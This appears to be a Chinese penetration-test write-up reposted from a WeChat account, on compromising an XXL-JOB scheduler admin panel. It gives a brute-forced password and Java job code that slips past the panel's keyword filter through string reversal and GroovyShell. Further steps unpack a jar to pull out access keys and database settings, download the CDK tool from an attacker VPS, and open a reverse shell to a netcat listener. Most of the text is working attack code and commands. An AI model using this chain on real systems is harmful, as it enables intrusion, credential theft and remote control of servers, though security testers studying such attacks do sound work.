判断后台与执行器运行位置
爆破进入后台
admin/admin321
进后台,首先看 执行器管理 中是否配置了执行器。
如果有执行器,这里会得到执行器的IP地址信息;如果无可用的执行器,则定时任务也无法利用。
去 调度日志 中查看历史日志,也可以初步判断 xxl-job-admin(后台管理页面) 与 xxl-job-executor执行器 是否在同一台服务器上
文中部分图片为本地靶场环境补图,在本次测试环境中,后台与执行器不在一起,写入agent内存马文件去注入的方式不可行,想着先执行命令看看情况。
创建Java定时任务
编辑运行代码
测试使用Java代码去执行命令,发现Runtime等关键字,在保存代码时会被拦截;又尝试使用反射调用的方式,运行时总是报错,未成功。
绕过Runtime等常见关键字执行命令并回显结果
package com.xxl.job.service.handler;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public static String reverseStr(String str) {
String reverse = "";
int length = str.length();
for (int i = 0; i < length; i++) {
reverse = String.valueOf(str.charAt(i)) + reverse;
}
return reverse;
}
@Override
public void execute() throws Exception {
String prefix = reverseStr("" ,"c-" ,"hs/nib/"(redliuBssecorP wen");
String suffix = "pwd&&ls -lan"; //替换要执行命令
prefix = prefix + suffix + "").start()";
try {
Process e = (Process) new groovy.lang.GroovyShell().evaluate(prefix);
java.io.InputStream in = e.getInputStream();
byte[] b = new byte[2048];
XxlJobHelper.log("XXL-JOB, Hello World.");
while (in.read(b) != -1) {
XxlJobHelper.log(new String(b));
}
XxlJobHelper.log("XXL-JOB, Hello World.");
} catch (Exception e) {
XxlJobHelper.log("Error: " + e);
}
}
}
执行定时任务
查看对应的执行日志
确认为docker容器
常用信息收集命令
id && pwd && ls -lan 基本信息
uname -a && cat /etc/os-release 确认系统版本
netstat -pant 端口连接信息
ps -ef 进程信息
初步判断是否出网
测试curl、wget命令,dnslog未接收到请求,初步判断可能是不出网或者容器没这些个命令。
容器中有一个正在运行的jar包,想查看里面配置文件,获取更多内网信息,使用 unzip 命令解压未成功。
通过Java在目标机器上解压jar包查看配置文件
package com.xxl.job.service.handler;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
public class DemoGlueJobHandler extends IJobHandler {
public static void unzip(String zipFilePath, String destDir) throws Exception {
byte[] buffer = new byte[1024];
File destDirectory = new File(destDir);
if (!destDirectory.exists()) {
destDirectory.mkdir();
}
ZipInputStream zipInputStream = new ZipInputStream(new FileInputStream(zipFilePath));
ZipEntry zipEntry = zipInputStream.getNextEntry();
while (zipEntry != null) {
String fileName = zipEntry.getName();
File newFile = new File(destDir + File.separator + fileName);
if (zipEntry.isDirectory()) {
newFile.mkdirs();
} else {
new File(newFile.getParent()).mkdirs();
FileOutputStream fos = new FileOutputStream(newFile);
int length;
while ((length = zipInputStream.read(buffer)) > 0) {
fos.write(buffer, 0, length);
}
fos.close();
}
zipEntry = zipInputStream.getNextEntry();
}
zipInputStream.closeEntry();
zipInputStream.close();
}
@Override
public void execute() throws Exception {
String zipFilePath = "xxx.jar";
String destDir = "/tmp/123/";
try {
unzip(zipFilePath, destDir);
XxlJobHelper.log("解压完成");
} catch (Exception e) {
XxlJobHelper.log("解压失败: " + e.getMessage());
}
}
}
解压完成后,执行cat命令去查看配置文件,得到AKSK,及内网多个数据库配置信息。
又想到使用java代码发起网络请求测试,发现机器其实是出网的。
通过Java远程下载cdk工具到目标机器上
VPS上用python起一个http服务
python3 -m http.server 80
xxl-job 后台运行如下代码
package com.xxl.job.service.handler;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;
import java.io.BufferedInputStream;
import java.io.FileOutputStream;
import java.net.URL;
public class DemoGlueJobHandler extends IJobHandler {
public static void downloadFile(String fileUrl, String savePath) throws Exception {
URL url = new URL(fileUrl);
BufferedInputStream inputStream = new BufferedInputStream(url.openStream());
FileOutputStream outputStream = new FileOutputStream(savePath);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer, 0, 1024)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
outputStream.close();
inputStream.close();
}
@Override
public void execute() throws Exception {
String fileUrl = "http://127.0.0.1/cdk"; // 替换为要下载的文件的URL
String savePath = "/tmp/cdk"; // 文件保存路径和名称
XxlJobHelper.log("XXL-JOB, Hello World.");
try {
downloadFile(fileUrl, savePath);
XxlJobHelper.log("文件下载完成");
} catch (Exception e) {
XxlJobHelper.log("文件下载失败, Error: " + e);
}
XxlJobHelper.log("XXL-JOB, Hello World.");
}
}
查看执行日志,确认文件是否完整下载
利用cdk工具反弹shell
VPS上用nc监听
nc -lnvp 52075
目标机器上运行
chmod u+x cdk
./cdk run reverse-shell 127.0.0.1:52075
shell弹回来后,操作方便一些,后续就是搭建隧道,容器信息收集,内网资产探测等内网常规操作。
参考链接
https://github.com/cdk-team/CDK
https://xz.aliyun.com/t/13899
原文始发于微信公众号(XINYU2428):记一次XXL-JOB测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论